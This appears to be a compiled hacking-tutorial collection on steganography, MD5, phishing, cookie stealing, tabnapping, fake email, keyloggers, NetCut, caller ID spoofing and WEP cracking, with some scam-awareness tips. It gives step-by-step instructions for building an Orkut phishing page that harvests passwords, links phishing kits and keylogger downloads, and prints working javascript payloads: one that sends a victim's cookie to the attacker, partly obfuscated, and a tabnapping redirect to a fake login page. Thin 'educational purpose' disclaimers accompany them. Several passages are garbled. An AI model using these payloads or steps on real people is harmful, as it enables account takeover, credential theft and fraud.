F5 is a publicly available steganography software package which hides messages in BMP, GIF , and JPG graphics.

Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from theWeb. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhancedsecurity.

JPHIDE and JPSEEK are programs which allow you to hide a file in a jpeg visual image. There are lots of versions of similarprograms available on the internet but JPHIDE and JPSEEK are rather special. The design objective was not simply to hidea file but rather to do this in such a way that it is impossible to prove that the host file contains a hidden file. Given atypical visual image, a low insertion rate (under 5%) and the absence of the original file, it is not possible to conclude withany worthwhile certainty that the host file contains inserted data. As the insertion percentage increases the statisticalnature of the jpeg coefficients differs from "normal" to the extent that it raises suspicion. Above 15% the effects begin tobecome visible to the naked eye. Of course some images are much better than others when used a host file - plenty offine detail is good. A cloudless blue sky over a snow covered ski paradise is bad. A waterfall in a forest is probably ideal.

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MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted andthen hidden in the MP3 bit stream. Although MP3Stego has been written with steganographic applications in mind itmight be used as a copyright marking system for MP3 files (weak but still much better thanthe MPEG copyright flag defined by the standard). Any opponent can uncompress the bit stream and recompress it; thiswill delete the hidden information (actually this is the only attack we know yet) but at the expense of severe quality loss.

Steghide is a steganography program that is able to hide data in JPG, BMP, WAV, and AU files. The color frequencies arenot changed thus making the embedding resistant against first-order statistical tests.

Hydan steganographically conceals a message ito an executable. It exploits redundancy in the i386 instruction set bydefining sets of functionally equivalent instructions. It then encodes information in machine code by using theappropriate instructions from each set. The executable filesize remains unchanged. The message is Blowfish encryptedwith a user-supplied passphrase before being embedded.

The 1st method that We will Study Here Is Using command Prompt.

To hide a file behind a image.

To hide a file behind a image file which means that if any one opens that image he will see the image only but if you openin a special way then you can open the hidden file behind the image.

So to hide the file behind a image open CMD.exe

1) Select an image to be used for hiding file behind the image.

2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.

3) And most important is that paste both the files on desktop and run the following command on the commandprompt.

4) And then type the following command. { cd } { Copy /b imagename.jpg + filename.rar finalnameofimage.jpg }

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And then hit

“ Using This method for The illegal Activities is a gainst the Laws this tutorial is for educationalpurpose only “.

“ You Can Also Use The softwares for the steganography like STEGHIDE Or F5 which will make yourwork easy and time efficient “.

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6. What Is MD5 Hash & How to Use It ?

In this post I will explain you about an interesting cryptographic algorithm called MD5 ( Message-Digest algorithm 5 ). Thisalgorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technicalaspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell youabout how to use MD5, I would like to share one of my recent experience made me start using MD5 algorithm.Recently I made some significant changes and updates to my website and obvious I generated a complete backupof the site on my server. I downloaded this backup onto my PC and deleted original one on the server. But after a fewdays something went wrong and I wanted to restore the backup downloaded. When I tried to restore the backup Iwas shocked! The backup file that I used to restore was corrupted. means, the backup file that I downloaded ontomy PC wasn’t exactly the one that was on my server. The reason there occured some data loss during thedownload process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can becorrupted due to any of the following reasons.

 Data loss during the download process, due to instability in the Internet connection/server The file can be tampered due infections or,

 Due to Hacker attacks

So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity ofthe downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. Inthis scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for theintended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file.Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.

A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows

A simple MD5 Hash

e4d909c290d0fb1ca068ffaddf22cbd0

This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will nothave the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify afile.

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How to use MD5 Hash to check the Integrity of Files?

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Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for thisfile on your server. To do so use the following command.

For UNIX: md5sum backup.tar When you hit ENTER yo u’ll see something as follows

e4d909c290d0fb1ca068ffaddf22cbd0

This is the MD5 hash for the file backup.tar . After you download this file onto your PC, you can cross check it’s integrity byagain re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect.Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on Windows PC usethe following freeware tool.

“You can Download MD5 Summer From Here: http://www.md5summer.org/download.html “.

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7. What Is Phishing ?

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam theuser into surrendering private information that will be used for identity theft.

The Email directs the user to visit a Web site where they are asked to update personal information, such as passwordsand credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,however, is Bogus and set up only to steal the User’s information.

Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-

 Emails inviting you to join a Social Group, asking you to Username and Password. Email saying that Your Bank Account is locked and Sign to Unlock IT. Emails containing some Information of your Interest and asking you to Login to Your Account. Any Email carrying a Link to Click and asking you to Login.

The Phishing Hack Starts Now. this Hack example is for orkut account.

Step 1:- Download the necessary Which you will need during the phishing attack. This file is a .rar file whichincludes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in whichthere are support files for ServerLogin.html

“You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.

Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.

Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in anyweb hosting site..

You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" andupload the 2 images of the pack in that folder. (it must support PHPs.)

>>> You can choose one of the following web hosting Company to upload the Folder.

http://www.freeweb7.comhttp://Ripway.com{Recommended}http://www.110mb.comhttp://www.phpnet.us

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http://www.byethost.comhttp://www.t35.comhttp://www.awardspace.comhttp://www.free-webhosts.com/free-php-webhosting.phphttp://www.freehostia.comhttp://www.dajoob.comhttp://ifastnet.comhttp://007ihost.comhttp://www.247mb.com/register.jsphttp://www.10gbfreehost.com/

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Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the passwordand sign in . Password will be stored in "hackingtech.txt"...

General form of the fake page's link

Code:

http://urwebhostingsite/urusername/ServiceLogin.htm

Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkutthe your orkut account has a security problem pl. click on th link below re-activate your account. we will see how tosend fake email within short time.

Now If You want to create your own phishing page the follow steps below.

Step 1:- Open the website whose phishing page you want create.

Step 2:- Then right click any where on the page and select view source.

Step 3:- Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.

Step 4:- The paste this code in a new window and save it as ServerLogin.htm

Step 5:- Open "ServiceLogin.htm" with and the search for word "action". [press ctrl+f to find the word]

Step 6:- You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "

Step 7:- Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it shouldbe like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "

Step 8:- Now Save this as serverlogin.htm

Step 9:- Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" andserverlogin.htm file in any web hosting site you want.

Step 10:- You are done just go to the link of the file serverlogin.htm given by your hosting company .

Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name oforkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will seehow to send fake email within short time.

Step 12:- To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .

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Prevention Against Phishing :-



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Read all the Email Carefully and Check if the Sender is Original.Watch the Link Carefully before ClickingAlways check the URL in the Browser before Signing IN to your AccountAlways Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

“ Do not use this hack trick in any criminal activities like phishing bank websites and please do notdestroy any ones account this is only for educational purpose”.

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8. How To View Hidden Password behind ****

Step 1. First of all open up the webpage on which you wanna show the hidden passwords.

javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;

%20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)

%20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)

%20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)

%20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if

%20(s)%20alert(%22Passwords%20in%20forms%20on%20this

%20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are

%20no%20passwords%20in%20forms%20on%20this

%20page.%22);})();

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Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown toyou .

remember me button in the login formencrypted password”.

not destroy any ones account

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9. Hack Orkut Accounts by Cookie Stealing

This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accountshas become much popular and hence i have added this article which will help you in hacking your friend’s orkut account.Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.Note : My purpose is only to make u aware of what’s happening around and not to teach u hacking orkut account, Gmailor any account in any sort!!.

Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail given below.

"Hacking orkut account or Gmail” by "stealing orkut account cookies ”:

The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking methodrequired.

https://addons.mozilla.org/en-US/firefox/addon/573

Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies toone Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have TwoGmail(Orkut) accounts.

Cookie Script:

javascript:nobody=replyForm;nobody.toUserId.value=33444211;nobody.scrapText.value=document.cookie;nobody.actio n=’scrapbook.aspx?Action.submit’;nobody.submit()

How to use orkut cookies script?

Step 1. Replace your number "UserId.value=33444211 ″

How to Replace your Number

Step 1. Go to your Orkut albumStep 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.Step 3. Now replace your value with the value in the java script.

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Your script will look like -

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javascript:nobody=replyForm;nobody.toUserId.value=yournumber;nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()

Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.

Step 3. You’ll get his orkut account cook ie in your scrap book.

Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookieeditor plugin( Tools – > Cookie editor)

Step 5. click filter/refresh.look for ‘orkut_state’ cookie. just double cli ck it and replace the orkut_state with yourvictim’s Scriptput ur eight digit number in the place of (33444211).

Thats it your done with.

Logout of your orkut and login again and you’ll be in your victims Homepage.

Step 6. So remember guys…if you are having orkut account or account….never use any suspicious scriptto prevent anyone from hacking/accessing your orkut account.

I hope you have learned how to hack orkut accounts using cookie script can be used to hack orkutaccounts and then access victim’s orkut account. Enjoy hacking

many other sites like yahoo but you will need some other scriptsso use google and search the script for other sites for self

criminal activities and please do not destroy any ones accountonly”.

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10. Tab Napping A New Phishing Attack

Traditional phishing attacks are reasonably easy to avoid, just don’t click links in suspicious e -mails (or, for the reallyparanoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack byhijacking your unattended browser tabs.

The attack works by first detecting that the tab the page is in does not have Then the attacking script can changethe tab favicon and title before loading a new site, say a fake version gmail or orkut, in the background.

Even scarier, the attack can parse through your history to find actually visit and impersonate them.

Because most of us trust our tabs to remain on the page we left this is a particularly difficult attack to detect. AsRaskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory ismailable and moldable and the user will most likely simply think they left *the+ tab open.”

The only clue that you’re being tricked is that the URL will be wrong.

The Script Used is as Below.-

<a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and goto other tab to see this magic.</a>

<script type="text/javascript">

var xScroll, yScroll, timerPoll, timerRedirect, timerClock;

function initRedirect(){

if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz

xScroll = document.body.scrollLeft;

yScroll = document.body.scrollTop;

clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect

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timerPoll = setInterval("pollActivity()",1); //poll scrolling

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timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timedredirect

}

else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead

xScroll = window.pageXOffset;

yScroll = window.pageYOffset;

clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect

timerPoll = setInterval("pollActivity()",1); //poll scrolling

timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timedredirect

}

//else do nothing

}

function pollActivity(){

if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||yScroll!=document.body.scrollTop)) //IE/NS7/Moz

||

(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {//other browsers

initRedirect(); //reset polling scroll position

}

} document.onmousemove=initRedirect;

document.onclick=initRedirect;

document.onkeydown=initRedirect;

window.onload=initRedirect;

window.onresize=initRedirect;

</script>

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To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html

Replace the URL highlighted here with your URL where you want the victim to redirect.

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Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.

“ Do not use this hack trick in any criminal activities and please do not destroy any ones accountthis is for educational purpose only”.

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11. How to Check The email is original or Not

First of all let us see How email system

The email is sent on internet as shown in below picture

So Here The Sender i.e abc@server1.com is sending a mail to xyz@server2.in . so the sender will type the mail and click onsend button and the mail will go to SERVER1.com where SERVER1.com will forward the mail over internet and the internet will search the xyz@server2.in email ids server and send it to SERVER2.in and the the SERVER2.in will search forthe xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ userlogin to their account they will see an email in their inbox which is from abc@server1.com .

Now How To send the fake mail

To send fake mail We need to Bypass the abc@server1.com and SERVER1.com both and directly send an email overinternet .

So for that we will use a .php script as php has a function mail(); which can send email to any one without theSERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the xyz@server2.in intheir own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user login to their accountthey will see an email in their inbox which is from abc@server1.com .

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But actually the email is not sent by abc@server1.com to xyz@server2.in so it is a fake mail.

SEND

Fill Up

Now How to check When you receive such mail.Step 1 :- First of all open the mail.

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Step 2:- Now Click on the downward arrow near reply button. and click on show original.

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Now check for The received from field on the page opened.and see who has sent you the email , here billgates@microsoft.com is the sender.so in the received from field check that there must be microsoft.com and not any other thing.

“ Do not send fake mails for criminal activities from hackingtech fake mailer as they are trackingyour IP address and Can back track you for any illegal activities performed by you and so please donot destroy any ones account, this is for educational purpose only”.

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12. Hack facebook account by facebook hacker

Hack facebook Account With facebook Hacker.

Facebook is one of the most attractive keywords of Computer Hacking and so, large number of Facebook users are visitingComputer Hacking. .

account. Actually, you can't hack facebooksoftware.

http://www.hackingtech.co.tv/Facebook_Hacker.rar “.

Step 2. Now, run Facebook Hacker.exe file to see:

Login to your Facebook account and then hit on OK at right bottom.

Step 3. Now, Facebook Hacker options are displayed as shown:

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Step 4. In Victim pane at left bottom, enter the facebook ID of the victim you wanna hack in User ID field.

Step 5. Now, using this Facebook Hacker software you can:



Flood wall of victim.Spam his message box.Comment on him like crazy.Poke him and even add mass likes.

Thus, you can play such pranks with your friends using this Hacker. So, free download FacebookHacker and trick out your friends.

That's all. Hope you will enjoy using this tool. I have tried this Facebook hacker software and found workingperfect for me.

criminal activities and please do not destroy any ones accountonly”.

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13. What Are Key loggers?

Keyloggers definition

Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into acomputer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and otherinformation a user may not wish others to know about.Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for businesspurposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmittedto an unknown third party.

About keyloggers

A keylogger is a program that runs in the background, recording keystrokes. Once keystrokes are logged, they arehidden in the machine for later retrieval, or shipped raw to the The attacker then peruses them carefully in thehopes of either finding passwords, or possibly other useful information could be used to compromise the system orbe used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by theuser. Keylogger is commonly included in rootkits.

A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets thehook. Therefore when you deploy the a system, two such files must be present in the same directory.

There are other approaches to capturing about what you are doing.



Some keyloggers capture screens, rather than keystrokes.Other keyloggers will secretly turn on video or audio recorders, and transmit what they capture over your internetconnection.

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in theregistry. Or a keyloggers could be which boasts these features:



Stealth: invisible in process listIncludes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)ProBot program files and registry entries are hidden (Windows 2000 / XP)Includes Remote Deployment wizardActive window titles and process names loggingKeystroke / password loggingRegional keyboard supportKeylogging in NT console windowsLaunched applications listText snapshots of active applications.Visited Internet URL loggerCapture HTTP POST data (including logins/passwords)

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

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File and Folder creation/removal loggingMouse activitiesWorkstation user and timestamp recordingLog file archiving, separate log files for each userLog file secure encryptionPassword authenticationInvisible operationNative GUI session log presentationEasy log file reports with Instant Viewer 2 Web interfaceHTML and Text log file exportAutomatic E-mail log file deliveryEasy setup & uninstall wizardsSupport for Windows (R) 95/98/ME and Windows (R) NT/2000/XP

Because a keylogger can involve dozens of files, and has as a primary goal complete stealth from removing onemanually can be a terrifying challenge to any computer user. Incorrect removal efforts can result to theoperating system, instability, inability to use the mouse or keyboard, or worse. Further, some key will survivemanual efforts to remove them, re-installing themselves before the user even reboots.

Some Famous Key Loggers.

1. Actual spy.

3. Remote Keylogger.

Keylogger From Here: http://u.to/3iWk “.

4. Home Keylogger

“You can Download Home Keylogger From Here: http://u.to/CSak “.

5. Soft Central keylogger

“You can Download Soft Central From Here: http://u.to/OCak “.

6. Stealth keyboard

“You can Download Adramax keylogger From Here: http://u.to/Pyak “.

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14. How To remove New Folder virus

What is Newfolder.exe?

The real name of this virus is Iddono. This threat copies its file(s) to your hard disk. Its typical file name is Iddono. Then itcreates new startup key with name Iddono and value newfolder.exe. You can also find it in your processes list with namenewfolder.exe or Iddono. This virus is very difficult to eliminate manually, but you can find several possible methods ofremoval below.

How to fix Newfolder.exe?

Quick Solution:

True Sword will find and eliminate this problem and more than 447 908 other dangerous threats including trojans,spyware, adware, riskware, problemware, keyloggers, dialers and other kinds of malicious programs several seconds.Fast, easy, and handy, True Sword protects your computer against malicious programs that do harm your computerand break your privacy. True Sword scans your hard disks and registry and destroys any manifestation such maliciousprograms. Standard anti-virus software can do nothing against privacy breakers and malicious programs like that. Get ridof trojans, spyware, adware, trackware, dialers and keyloggers in one click .

How to fix Newfolder.exe manually? For advanced users only

This problem can be solved manually by deleting all registry keys and files connected with this software, removing it fromstarup list and unregistering all corresponding DLLs. Additionally missing should be restored from distribution incase they are corrupted by Iddono. To fix this threat, you should: 1. Kill following processes and delete theappropriate files:



libedit.dllnewfolder.exeshelliddono.dllsrv0104.idssrvidd20.exe

If these files can't be deleted during normal Windows work or recreate themselves, reboot into Safe Mode and repeatdeletion. If you do not see all of these they are hiding themselves. You need special software to kill thosehidden files. 2. Delete the following malicious registry entries and\or values:

 Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run for nwiz.exe Value: @ Key: software\microsoft\windows\currentversion\run\alchem Value: @ Key: software\microsoft\windows\currentversion\run\zzb Value: @

Another method which is recently discovered by me that any AVG antivirus above 8.0version can detect the new foldervirus easily.

“ For beginners I recommend to for for the Software True Sword its free “.

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15. Call Your Friend from Their Own Number

Step

Step 2:- During registration, remember to insert your friends (Victims) mobile number in "Phone number" field as shownbelow.

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Step

Step

Step 5:- You will arrive at page shown below. In "Enter a number" box, select your country and also any mobilenumber(you can enter yours). Now, simply hit on "Call Now" button to call your friend with his own number.

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Step

free after that you need to pay money , but you can makefriends number and another email id and start pranking again...

calling someone's GIRL Friend (s) OR BOY Friend (s) . BecauseCustomer Care and tell about this then they will tell this thingcannot happen.

Read more: http://www.hackingtech.co.tv/index/call_your_friend_with_his_own_number/0-35#ixzz14mg1K1bJ

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16. Get Orkut Scraps on mobile

Get Orkut Scraps on Mobile for free using Google SMS Channel!

Orkut Team officially introduced a feature using this officialorkut sms feature they cost some charges alerts on yourmobile absolutely free This service works

You have to just follow the simple steps:-

Step 1 :- First of all you have to get the feed url of your Orkut profile by using orkutfeeds.com.For this, just open your Orkut profile and copy the home page link (In my case itis http://www.orkut.co.in/Main#Profile.aspx?uid=18178041893973983718 right click onyour orkut profile

Step 2 :- Now this, just hit thesubscribe button

Step 3 :- Also add " #both ” at the end of the above URL so that you can get messages of the scrap as well.Now my feed URL becomes http://www.orkutfeeds.com/feed.php?uid=18178041893973983718#both

Step 4 :- Now go to Google SMS channels homepage and create a new channel as shown in the screen shot below. If youdon’t have an account on SMS channels then create one by logging in with your Gmail password.

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Step 5 :- Fill and finallyhit the ‘create

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That’s it! Now you’ll be getting scrap notifications via SMS for free

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[1 ] For this trick to work on locked scrapbooks, you must add this Orkutfeeds bot as your friend.

http://www.orkut.co.in/Main#Profile.aspx?uid=10226448830416481862

[2] Scrap notification are delayed for 2- 4 hours depending on the Google’s server traffic.

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17. Internet connection cut-off in LAN/Wi-Fi

Hacking The Internet Connection of the shared computers in Colleges/ Cyber Cafe / schools etc. and gain the completeAccess of internet with full speed.

Netcut stands for Network Cut . NetCut is software where we can control the connection to each computer/laptop in aWIFI network/LAN. However, this software can be used to retrieve internet bandwidth from other computers in a

Shared connection speed is basically determined the number of users connected, topology is used, setting protocolsand much more. If using a pure setting, the access speed will be divided based on the number of users who useit. Example: If the connection speed = 500 Kbps, and there are 5 users who use it, then the speed of each to 100 Kbps,except given the limit connection to other user. So more and more users connected, the smaller also access. And usingthis attack cut the internet connection of shared computers in LAN/WIFI. And Get the Full Speed of internet on yoursystem.

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Step 1:- you will need the NetCut 2.0 software so download it from Here.

“Download it from here: http://www.hackingtech.co.tv/netcut2.08.zip “.

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Step2:- Unzip the downloaded Software and install it On Your System.

Step3:- Open the Software and you will get the following screen.

Step 4:- Select all are Your PC's IPAddress.

Step 5:- After Selecting the IP address Press the Cut off Button and the internet connection will be cut off within fewSeconds.

Step 6:- To Resume or Start the Internet again Press the Resume Button and the internet will again start working in theshared computers.

Now after cutting the network connection Lets Study the Prevention from This attack so that this cannot happen withyou.

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Anti netCut. This software can protect you when you surf the Internet using wireless networks in particular hotspot areaswhich may be used by the netters. By using antinetcut, then guaranteed you will be protected from ignorant people whouse netCut to control bandwidth, LAN and Wireless network. Why Anti netcut 2? No internet disconnection any more,starts with operating system; you don’t have to run every time turning on your PC. Lists all open ports in your connection(Security wise), Get your public IP address, Know who is cutting your connection, Direct link to internet connection speedmeter, Direct link to spyware scanner, Direct link to free virus scanner and No Spyware

Step1:- Download the Anti NetCut 2 form Here Because You Will Need It.

“Download it from here: http://www.hackingtech.co.tv/anti_netcut_2.rar “.

Step 2:- Unrar The pack and install the software.

Step 3:- There Will Be an Icon in

Step 4:- To see who Using Net Cut is against you or who is attacking on our network, right click on this icon and Select“Who is using Net Cut". And you will get The IP addresses of the User in the window as shown below.

Step 5:- To see Your Open connections, means the Ports of the network which are not cut off By the NetCut 2.0. RightClick on the icon and Click on “My open connection" and you will get window like this.

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Step 6:- You are done now The Anti Net Cut 2 will automatically fix the error of internet Cut off Caused by Net Cut 2.0.

“ Do not use this hack trick in any criminal activities and please do not destroy any ones accountthis is for educational purpose only”.

“Use of anti Netcut is for countermeasure purpose and do not misuse the Netcut.”

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18. WEP cracking using Airo Wizard

In This Tutorial We Will learn to hack/crack the WEP (Wired Equipped Privacy).

A WEP key is a security code used on some Wi-Fi networks. WEP group of devices on a local network (such asa home network) to exchange encoded messages with each other contents of the messages from easyviewing by outsiders.

A WEP key is a sequence of hexadecimal digits. These digits include 0-9 and the letters A-F. Some examplesof WEP keys are:



1A648C9FE299D767BAC38EA23B0C0176D15

WEP keys are chosen by a network administrator. WEP keys are set on Wi-Fi routers, adapters and other wireless network

devices. Matching WEP keys must be device for them to communicate with each other. The length of a WEP key depends on the type of WEP security (called "encryption") utilized:



40- / 64-bit WEP: 10 digit key104- / 128-bit WEP: 26 digit key

To assist with the process of creating correct WEP keys, some brands of wireless network equipment automaticallygenerates WEP keys from ordinary text called a pass phrase.

Air crack is an 802.11(protocol) WEP and WPA-PSK keys cracking application that is able to recover keys once enough datapackets have been captured(Sniffed). It follows the standard FMS attack along with some optimizations like KoreK attacks,along with the all-new PTW attack, thus making the attack much faster and effective compared to other WEP crackingtools. In fact, Aircrack-ng is a set of tools for auditing wireless networks and not much known by the crackers.

“Download it from here: http://u.to/ayak “.

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19. 12 Security tips for online shopping

The internet is an exciting place to shop. From the comfort of your own armchair you can browse for literally anything,from a new camera, to a holiday or flight. You are not restricted to the stores in your local town, or even country and youcan pick up deals at great prices on a whole range of products.

Shopping online isn’t just as safe as handing over your credit card in a store or restaura nt. However, if you take care offew things it can be a safe deal. Following are the things you should take care of:

1. Never respond to an email request for credit card details. All reputable companies will conduct transactions with youover a secure website connection.

2. Remember to never respond to any email advertisement, and only sites you know or have book marked, andverify the address before browsing further.

3. Only buy from trusted brands and websites.

4. To ensure that you only do business with legitimate companies check to see if they have a contact number, an actualretail store and a printed catalogue to browse.

5. Check a website’s returns and privacy policy before going ahead with a purchase.

6. Check that you are entering your through a secure payment connection. You should notice when you clickthrough to the transaction page company’s website that the URL in the address bar begins https:// (instead ofthe normal http :// ). This is the encrypted communication mechanism on the internet and means that yourcredit card details are being sent securely.

7. Beware of deals that seem too good to be true.

8. Beware of the limitations of the internet. The internet may not the best place to buy clothes or other products youneed to see, touch or try on.

9. All reputable websites use secure payment systems. These are either a company’s own system or a 3rd party systemsuch as Worldpay or Pay pal.

10. When conducting a transaction over the internet, look for the yellow padlock in the grey status bar at the bottom ofyour browser page. This is an indication that the transaction is being conducted over a secure connection.

11. As an extra precaution check to see if there’s a gold lock at the bottom of the right hand corner of the browser. Ifthey don’t i nclude any of these reliable indicators, you might want to think twice before handing over your creditcard number.12. To be on the safe side, and avoid Internet fraudsters, it’s also a good idea to install and use security software such asKaspersky Internet Security. It can provide you with industry-leading security services that will provide you moreprotection against the latest threats.

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20. How to check if Your Gmail acc. is hacked

How to check if your Gmail Account Has Been Hacked

If you’re worried about email security, here is a step by step guide to help you check and determine if your Gmail accounthas been hacked or compromised in any way.

Step 1: Find the ‘Last Account Activity’ Section In Your Inbox

At the bottom of your Gmail inbox there is a ‘Last Account Activity’ section. Click on ‘details’ to launch the full blownmonitor.

Step 2: See who has accessed

Next, what you’ll see is a table of the most recent activity from your Gmail account. It shows you

* * How it was accessed (Browser/mobile etc)* Where exactly the IP address is (So you can do some further digging)* When it was accessed

Step 3: Understand the IP addresses – Has your Gmail really been hacked.

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If you see IP addresses from different countries, don’t be too quick to panic. If you use any 3rd party services which hook-up to your Gmail account, they will almost certainly show up in your activity log. To do you own investigation, you canuse Domain Tools (www.domaintools.com) to identify the IP address. This will help you differentiate normal activity andyour Gmail account being hacked.

Step 4: Understand the alerts – Google’s way of highlighting suspicious activity .

Google will also do its fair share of monitoring, and will also alert you if it sees suspicious activity both in your inbox, aswell as your recent activity log. When this happens, and the IP addresses look suspicious, it is advisable to play it safe,assume your Gmail account has been hacked, and change your passwords immediately.

Step 5: Sign out All Other

If you are worried you This won’t fix anyhacked Gmail accounts, but it will resolve any careless mistakes. This is also useful if you happen to lose your mobilephone and you want to ensure your email is not read by others.

Step 6: What to do if your Gmail account has really been hacked

The first thing you do is change both password and security question right away. Then make sure your new choicesare very secure. Google themselves have really good tips. For example in the case of security questions:





Choose a question only you know the answer to – make sure the question isn’t a ssociated with your password.

Pick a question that can’t be answered through research (for example, avoid your mother’s maiden name, yourbirth date, your first or last name, your social security number, your phone nu mber, your pet’s name, etc.).

Make sure your answer is memorable, but not easy to guess. Use an answer that is a complete sentence for evenmore security.



So there you have it. A step-by- step guide on fully understanding Gmail’s account activity log, and how to check if yourGmail account has been hacked

“Always use this method to sign out all other accounts if you have accessed the internet frompublic place or PC this will make your GMAIL account more secure“.

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21. Beware Of Common Internet Scam/Frauds

The term Internet Scam or Internet Fraud refers to any type of fraud scheme uses one or more online services toconduct fraudulent activities. Internet fraud can take place on computer such as chat rooms, e-mail, messageboards, or Web sites. In this post I will discuss about some of the conducted scams and frauds across theInternet.

1. Phishing Scam

This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing isthe criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and creditcard details by masquerading as a trustworthy entity in an electronic communication. Phishing is typically carried out bye-mail or instant messaging.

Example: You may receive an email which claims to have come from your bank/financial institution/online serviceprovider that asks you to click a link and update your account information. When you click such a link it will take you to afake page which exactly resembles the original ones. Here you’ll be asked to enter your personal details such as usernameand password. Once you enter your personal details they will be stolen away. Such an email is more than likely the type ofInternet scam known as "phishing”. Phishing is said to be highly effective and has proved to have more success rate sincemost of the common people fail to identify the scam.

Most legitimate companies never request any kind of personal/sensitive information via email. So it is highlyrecommended that you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailedpost What is Phishing?

2. Nigerian Scams

This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of moneythat is held up in a foreign bank account. This email claims that in return for the help you’ll be rewarded a per centage ofthe fund that involves in the transaction. Never respond to these emails since it’s none other than a scam.

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In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund)as an insurance or as an advance payment for the initialization of deal. However once you deposit the amount to thescammer’s account you’ll not get any further response from them and you lose your money. In fact "The large amount ofmoney” never exists and the whole stor y is a trap for innocent people who are likely to become victims. The scammersuse a variety of stories to explain why they need your help to access the funds. The following are some of the examples ofthem.

Examples:





